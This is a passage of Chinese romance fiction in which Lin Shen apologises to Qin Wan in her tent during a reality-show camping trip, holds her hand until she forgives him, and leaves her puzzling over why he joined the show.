坐在两人对面看了整场好戏的叶景年朝林深挑了挑眉,勾起一抹微笑,"吃啊?林老师。怎么,不合胃口啊。"
闻声,男人的视线从那道越来越小的背影身上移开。
他慢条斯理地抽了张纸,擦了擦指节上根本不存在的油脂。
"我吃饱了。"他懒懒地从沙滩椅上站起,头顶几乎要触及天幕,敛眸看了眼坐着的男人,"慢用。"
叶景年看着他的背影走向方才女孩走过的方向,拧开放在桌边的矿泉水瓶,散漫地喝了一口。
喉结滚动,他倚靠在沙滩椅的靠背上,翘着的二郎腿,俨然一幅看戏的模样。
"我可以进来吗?"一道清冽的嗓音穿过帆布面料传入帐中。
覃晚的营帐扎在一棵硕大的假萍婆下,椭圆形的叶片随着河岸边的几缕微风轻轻摆动。
此刻烈日正盛,林深在营帐前一动不动地等着她的回应。
却许久未见出声。
沉默良久,覃晚还以为那人早已离开。正准备走过去一探究竟时,却忽然传来声:"对不起。"
她有些讶然,这人道歉干嘛?
掀开米白色的帐帘,挺拔的身姿映入眼帘,她皱着眉故作冷淡的抬眸问:"对不起什么?"
"上午在雨林里,是我太冲动了,没注意到脚下。"林深低着头看向她,异色的眸中满是懊悔和诚恳。
居然
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是因为这个?难怪自那时起就怪怪的,一路没怎么说话。
"进来吧。"覃晚后撤一步,掀开帘子。虽有树荫遮挡,但低纬地区的烈日着实晒人,覃晚看着男人额间的汗,声音放缓。
她指了指置在帐内的椅子,"随便坐。"话音落下,便回了原位。
林深假装打量屋内陈设,却用余光暗自观察着女孩的脸色,表情自然。
但听她刚刚那硬邦邦的语气,显然是还没原谅自己。
男人挑了个距她不远不近的位置坐下,与她对视,头顶的扇叶不知疲倦地转动,为湿热的空气划出一片短暂的清爽。
视线交错,沉默良久。
覃晚实在受不了那澄澈的眼睛一直眼巴巴地望着自己,她撇开视线,轻咳一声:"你还有什么别的要说的吗?"
女孩蓦地站起,故作镇定地冷声道:"没有的话就回去吧,我要休息了。"她作势送客。
纤细的手指猝不及防被一双更大的手掌牢牢握住,干燥清凉的触感贴上皮肤。
身下的男人抬眸,望向她轻声说:"那天晚上在海边你说的话,我记着的。"
林深握着她的手,轻轻摩挲:"原谅我,好不好。"
手心的温度有些灼人,热意顺着流动的血液传至心脏,连脸颊都好似在泛着热气。
"咳咳...我有什么可原谅你的。"覃晚挣扎着想要将手抽出,却被一股更大的力牢牢拉住,男人仰着头可怜巴巴地看着她,手上力道不减反增。
挣扎未果,她叹了口气妥协:"行行行,原谅你原谅你。"
听到这话的男人眼眸瞬间发亮,覃晚甩了甩手臂,"现在可以松开我了吧。"
握在指尖的力量有些依依不舍,缓缓离开,察觉到男人松手的动作,她没有犹豫,迅速抽开。
"行了,没什么事我要休息了。"双手垂在背后交叠,她抬着头有些傲娇:"你走吧。"
男人看着她红透的耳廓,从椅子上缓缓站起,几乎要抵到帐篷顶上的吊扇。
他敛眸低着头,浓密的长睫下扫出一片阴翳,异色的瞳孔里盛满温柔,又闪过一丝促狭。
林深看着她为躲开他视线刻意朝外仰着的小脸,挽起的发丝被小窗外偶然闯入的阳光镀上了一层流动的金色。
那双通透如玉的手忍不住靠近她的脸颊,在空中滞了片刻,最终落于发顶。
男人凑近,动作轻柔地摸了摸她的头发,温柔道:"我走了,不要躲我。"
怔在原地的覃晚看着他掀开帘子弯腰离开的背影,蹙着眉嗔骂一声。
"总是搞这种!"
她懊恼地抓过座位上的矿泉水,猛灌一口水,热意略微消散。
帐篷外白翅鹊的清越声音让她逐渐冷静下来,刚刚好像忘记问他,怎么突然来参加综艺了?
属实奇怪,而且祁绮之前给的嘉宾名单根本没有他啊,景年哥就算了,影帝可能是特邀嘉宾,对外保密。
但是他?而且当时也没见他介绍职业。
疑惑重重,覃晚越想越不对劲。
"算了,反正晚上要去还钱,干脆到时顺便问清楚。"